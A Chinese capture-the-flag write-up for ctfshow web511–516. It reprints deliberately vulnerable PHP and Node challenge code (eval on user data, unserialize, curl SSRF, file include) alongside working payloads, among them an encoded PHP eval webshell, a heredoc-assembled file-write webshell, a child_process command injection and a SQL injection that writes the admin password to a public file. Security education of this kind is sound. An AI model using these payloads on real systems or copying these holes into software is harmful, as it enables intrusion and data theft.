$user=$_SESSION['user'];
if($user){
templateUtil::render('index',$user);
}else{
header('location:index.php?action=login');
}
break;
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
case 'logout':
session_destroy();
header('location:index.php?action=login');
break;
default:
templateUtil::render($action);
break;
}


api/admin_templates.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-19 18:49:54
Last Modified by: h1xa
Last Modified time: 2021-03-25 17:17:07
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
$action=$_GET['action'];
if(!isset($user)){
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
switch ($action) {
case 'list':
$sql = "select id,name,type,path,des from templates limit 0,10";
$db=new db();
$temps = $db->select_array($sql);
if(count($temps)>0){
$ret['count']=count($temps);
$ret['data']=$temps;
$ret['msg']='查询成功';
}
break;
case 'update':
extract($_POST);
$row=json_decode($row);
if(waf($row)){
break;
}
$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
$db = new db();
if($db->update_one($sql)){
$ret['msg']='实时更新成功';
}else{
$ret['msg']='实时更新失败';
}
break;
case 'getContents':
extract($_POST);
$template=json_decode($template);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){
$ret['count']=1;
$ret['msg']='查询成功';
$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
}
break;
case 'download':
extract($_POST);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="' . $path. '"');
echo file_get_contents(__DIR__.'/../templates/'.$path);
exit();
}
break;
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
$ret['msg']='文件上传失败';
}else{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}

}else{
$ret['msg']='文件上传失败';
}
break;
default:
# code...
break;
}

function waf($row){
$ret = false;
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){
$ret=true;
}
return $ret;
}
die(json_encode($ret));

api/admin_edit.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-15 04:27:41
Last Modified by: h1xa
Last Modified time: 2021-03-15 07:45:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('../render/db_class.php');

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/\'|\"|\\\/', $avatar)){
$ret['msg']='存在无效字符';
die(json_encode($ret));
}
$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$_SESSION['user']['avatar']=$avatar;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}





api/admin_file_view.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-24 00:53:45
Last Modified by: h1xa
Last Modified time: 2021-03-25 15:46:06
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));


}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}


render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-25 17:19:10
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}

}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}

}
return $templateContent;
}

public static function checkVar($templateContent,$arg){
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
return $templateContent;
}


}





这次得分析别的文件了在render/render_class.php下面找到一个eval(),我们看看参数可不可控

image-20220414135942222

shade调用了checkvar()

image-20220414140114969

render调用了shade(),先读取了这个模板文件

image-20220414140311853

这个render总共有六处调用其中有两处传了arg参数,这里当然只有传参的才能利用,其他的就不看了

要想利用,只能去更改$user这个数组里面的值,那么我们去搜索哪里可以更改$_SESSION[‘user’]的值

发现在admin_deit.php存在

image-20220414141131861

这里的avatar仅仅过滤了几个字符简单可以绕过

先改一下

image-20220414141636372

接着index访问这个

image-20220414141707910

接着读取文件

image-20220414141804254

到这里我们还需要一个可以存在这里的{{var:'.$key.'}}也就是{{var:'.$key.'}},我们之间上传一个就好了啊{{var:nickname}}

image-20220414141747100

image-20220414145931393

image-20220414150059799

image-20220414145937985

这里要注意stripos()函数,如果在第一位的话就执行不了了

image-20220414145955200

web512

render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-25 21:15:03
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}

}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}

}
return $templateContent;
}

public static function checkVar($templateContent,$arg){
$db=new db();
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}

}
}
return $templateContent;
}


}

这里要进行拼接

db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-15 05:02:27
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class db{

public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}

public function getConnection(){

return new mysqli($this->addr,$this->username,$this->password,$this->database);
}

public function select_one($sql){
$this->sql=$sql;
$result=$this->db->query($sql);
if($result){
return $result->fetch_object();
}

}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$this->db->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function update_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$this->db->query($sql);
return $this->db->affected_rows;
}

public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;

public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}

因为过滤掉了()所以采用include

1;#为了结束上一个$v的赋值语句
$a = <<<ctfshow
<?php includ
ctfshow;
$b = <<<ctfshow
e $
ctfshow;
$v1 = <<<ctfshow
_POS
ctfshow;
$c = <<< ctfshow
T{1}?>
ctfshow;
$d = <<<ctfshow
1.php
ctfshow;
$e = clone $db;#克隆一个$db对象,原因是$db有写文件的方法
$db->log->log = $d;#前一个log是db类的log后面的是dblog类的log
$db->log->content = $a.$b.$v1.$c;

#$a.$b.$v1$c=<?php include $_POST{1}?>
1;
$a=<<<ctfshow
<?php includ
ctfshow;
$b=<<<ctfshow
e $
ctfshow;
$v1=<<<ctfshow
_POS
ctfshow;
$c=<<<ctfshow
T{1}?>
ctfshow;
$d=<<<ctfshow
2.php
ctfshow;
$e=clone $db;
$db->log->log=$d;
$db->log->content=$a.$b.$v1.$c;
{{var:nickname}}

image-20220414163202241

image-20220414155052515

记得抓包改

image-20220414155109466

image-20220414163241108

image-20220414163406655

image-20220414163441821

web513

render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-26 07:25:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
$templateContent=templateUtil::checkFoot($templateContent);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}

}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}

}
return $templateContent;
}

public static function checkVar($templateContent,$arg){
$db=new db();
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}

}
}
return $templateContent;
}

public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
include($foot);
}

}
return $templateContent;
}




}

/api/admin_settings.php


<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-16 15:50:14
Last Modified by: h1xa
Last Modified time: 2021-03-16 16:26:31
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}

public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
include($foot);
}

我们可以将config中的cnzz改成另一个文件,这样就可以使foot先访问config中的cnzz,接着cnzz又是另一个文件.进行二次文件访问.

image-20220414174933530

image-20220414180031940

image-20220414180041275

image-20220414180054215

image-20220414180124402

image-20220414181027066

image-20220414181233123

web514

render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-28 16:27:27
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
$templateContent=templateUtil::checkFoot($templateContent);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}

}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}

}
return $templateContent;
}

public static function checkVar($templateContent,$arg){
$db=new db();
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}

}
}
return $templateContent;
}

public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){
include($foot);
}

}

}
return $templateContent;
}
}

/api/admin_settings.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-16 15:50:14
Last Modified by: h1xa
Last Modified time: 2021-03-16 16:26:31
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));

}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}


/api/admin_templates.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-19 18:49:54
Last Modified by: h1xa
Last Modified time: 2021-03-25 17:17:07
email: h1xa@ctfer.com
link: https://ctfer.com

*/


session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
$action=$_GET['action'];
if(!isset($user)){
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
switch ($action) {
case 'list':
$sql = "select id,name,type,path,des from templates limit 0,10";
$db=new db();
$temps = $db->select_array($sql);
if(count($temps)>0){
$ret['count']=count($temps);
$ret['data']=$temps;
$ret['msg']='查询成功';
}
break;
case 'update':
extract($_POST);
$row=json_decode($row);
if(waf($row)){
break;
}
$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
$db = new db();
if($db->update_one($sql)){
$ret['msg']='实时更新成功';
}else{
$ret['msg']='实时更新失败';
}
break;
case 'getContents':
extract($_POST);
$template=json_decode($template);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){
$ret['count']=1;
$ret['msg']='查询成功';
$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
}
break;
case 'download':
extract($_POST);
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){
header("Content-Type: application/octet-stream");
header('Content-Disposition: attachment; filename="' . $path. '"');
echo file_get_contents(__DIR__.'/../templates/'.$path);
exit();
}
break;
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
$ret['msg']='文件上传失败';
}else{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}

}else{
$ret['msg']='文件上传失败';
}
break;
default:
# code...
break;
}

function waf($row){
$ret = false;
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){
$ret=true;
}
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){
$ret=true;
}
return $ret;
}
die(json_encode($ret));

这次我们直接包含一个2.sml文件,其中内容换成

data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4x

但是需要绕过这行,简单使用数组绕过就好

if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){

image-20220414182124982

image-20220414183409943

image-20220414182908939

image-20220414183420553

image-20220414183454050

web515


var express = require('express');
var _= require('lodash');
var router = express.Router();

/* GET users listing. */
router.get('/', function(req, res, next) {
res.render('index', { title: '我是复读机' });
});

router.post('/',function(req,res,next){
if(req.body.user!=null){
msg = req.body.user;
if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
res.render('index', { title: '敏感信息不复读' });
}else{
res.render('index', { title: eval(msg) });
}
}else{
res.render('index', { title: '我是复读机' });
}

});
module.exports = router;

过滤了一些字符

我们采用eval嵌套

index.php?a=require( 'child_process' ).spawnSync( 'ls',['/'] ).stdout.toString()
POST
{"user":"eval(req.query.a)"}

image-20220414184559957

web516

关键语句,不太懂js

ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
2);const init=async()=>{await User.sequelize.query("select password from Users where username='admin' into outfile '/app/public/flag';",{type:User.sequelize.SELECT});};init(

image-20220414185417494

image-20220414185459158

image-20220414185522037